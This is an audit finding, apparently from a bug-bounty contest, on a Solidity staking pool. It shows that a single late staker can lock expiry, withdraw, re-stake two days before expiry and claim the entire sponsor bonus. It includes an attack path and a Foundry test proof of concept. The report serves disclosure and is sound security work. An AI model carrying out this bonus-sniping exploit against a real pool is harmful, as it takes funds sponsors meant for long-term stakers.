FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: low
Likelihood: medium

Stake Time `_bonusshare` constraint not applicable to Extremely Late Solo Stakers, Last minute entrance just before Expiry captures all Contributed Bonus

Author Revealed upon completion

`Finding Description

The k=2 time-weighted bonus formula (_bonusShare) is designed to reward early stakers over late stakers by squaring the time difference (T - entryTime)². However, this constraint collapses when a pool has only a single staker. A solo staker receives 100% of the bonus pool regardless of entry time, including when entering moments before expiry, The staker can actively monitor,or make deposit in Prerisk contracts to activate expiryLocked, withdraws deposit immediately, then monitor when there is no totalEligibleStake, but has an active totalBonus, waits until pool approaches Expiry, restakes then claims all.

Attack path;

1. Solo-staker stakes the minimum balance in `prerisk`, `expiryLocked` flips from false to true — permanently
2. Solo-staker withdraws his balance, and monitors if `totalEligibleStake`== 0, and no new stakers enter.
3. sponsor or bonus donation happens via `contributeBonus`.
4. The 30days contract enters `UNDER_ATTACK`(no new stakers yet).
5. Solo-staker sees the timeline is heading towards Expiry and `CORRUPTED` hasnt been flaged yet, so he reStakes, Expiry deadline reaches and he calls `claimExpired()`.
function _bonusShare @>
function stake @>

Risk

Likelihood:

  • When there are no stakers in the pool as deadline approaches e.g totalEligibleStake== 0 , and Whitehats are uninterested to attack a stakeless contract, so chances of getting
    a CORRUPTED agreement is slim.

  • When the totalBonus > 0, which cant be removed once deposited.

Impact:

  1. Time Incentive mismatch; Sponsors may expect
    they are rewarding people who have been providing coverage, Instead
    someone who was absent during almost the entire pool lifetime can collect everything.

  2. Discourages early staking; Suppose everyone knows this behavior,
    Instead of staking early, rational users might wait until the last possible moment during UNDER_ATTACK. If everyone waits, coverage disappears, and totalEligibleStake== 0 will push whitehats to avoid the contract UNDER_ATTACK, because they dont believe it is incentivised enough to attack, This is a protocol economics concern.

  3. Misleading Confidence Signal; On-chain observers see totalEligibleStake > 0 and totalBonus > 0 but cannot see the duration of commitment. A 2-day sniper (Solostaker) appears identical to a full-term believer, inflating perceived confidence in the in-scope contracts.

Proof of Concept

copy and paste the following in the ConfidencePool.fuzz.t.sol

function testFuzz_soloStakerCapturesFullBonusDespiteLateEntry() external {
uint256 bonusAmount = 2000;
address soloStaker = makeAddr("soloStaker");
uint256 minStake = pool.minStake();
// Step 1: Solo-staker stakes minimum in pre-risk (NEW_DEPLOYMENT)
vm.startPrank(soloStaker);
token.mint(soloStaker, minStake);
token.approve(address(pool), minStake);
pool.stake(minStake);
vm.stopPrank();
// Verify expiry is locked after pre-risk deposit
// setExpiry should revert with ExpiryLocked
vm.prank(address(this)); // pool owner is address(this) in BaseConfidencePoolTest
vm.expectRevert(IConfidencePool.ExpiryLocked.selector);
pool.setExpiry(block.timestamp + 30 days);
// Step 2: Solo-staker withdraws immediately
uint256 balanceBefore = token.balanceOf(soloStaker);
vm.prank(soloStaker);
pool.withdraw();
assertEq(
token.balanceOf(soloStaker) - balanceBefore,
minStake,
"Full withdrawal"
);
assertEq(pool.eligibleStake(soloStaker), 0, "Zero eligible stake");
assertEq(pool.totalEligibleStake(), 0, "Zero total stake");
// Step 3: Sponsor contributes 2000 bonus
_contributeBonus(makeAddr("sponsor"), bonusAmount);
assertEq(pool.totalBonus(), bonusAmount, "Bonus recorded");
assertEq(pool.totalEligibleStake(), 0, "Still no stakers");
// Step 4: Contract enters UNDER_ATTACK
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
// Step 5: Warp to 2 days before expiry
uint256 expiryTimestamp = pool.expiry();
vm.warp(expiryTimestamp - 2 days);
// Verify still no stakers joined during UNDER_ATTACK
assertEq(pool.totalEligibleStake(), 0, "No stakers joined");
// Step 6: Solo-staker re-stakes near expiry
vm.startPrank(soloStaker);
token.mint(soloStaker, minStake);
token.approve(address(pool), minStake);
pool.stake(minStake);
vm.stopPrank();
// Step 7: Expiry passes
vm.warp(expiryTimestamp + 1);
// Step 8: Claim
uint256 balanceBeforeClaim = token.balanceOf(soloStaker);
vm.prank(soloStaker);
pool.claimExpired();
uint256 received = token.balanceOf(soloStaker) - balanceBeforeClaim;
// Assertions: solo staker gets full stake + full bonus
uint256 expectedPayout = minStake + bonusAmount;
assertEq(
received,
expectedPayout,
"Solo staker gets stake + full bonus"
);
assertEq(pool.totalEligibleStake(), 0, "No remaining stake");
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!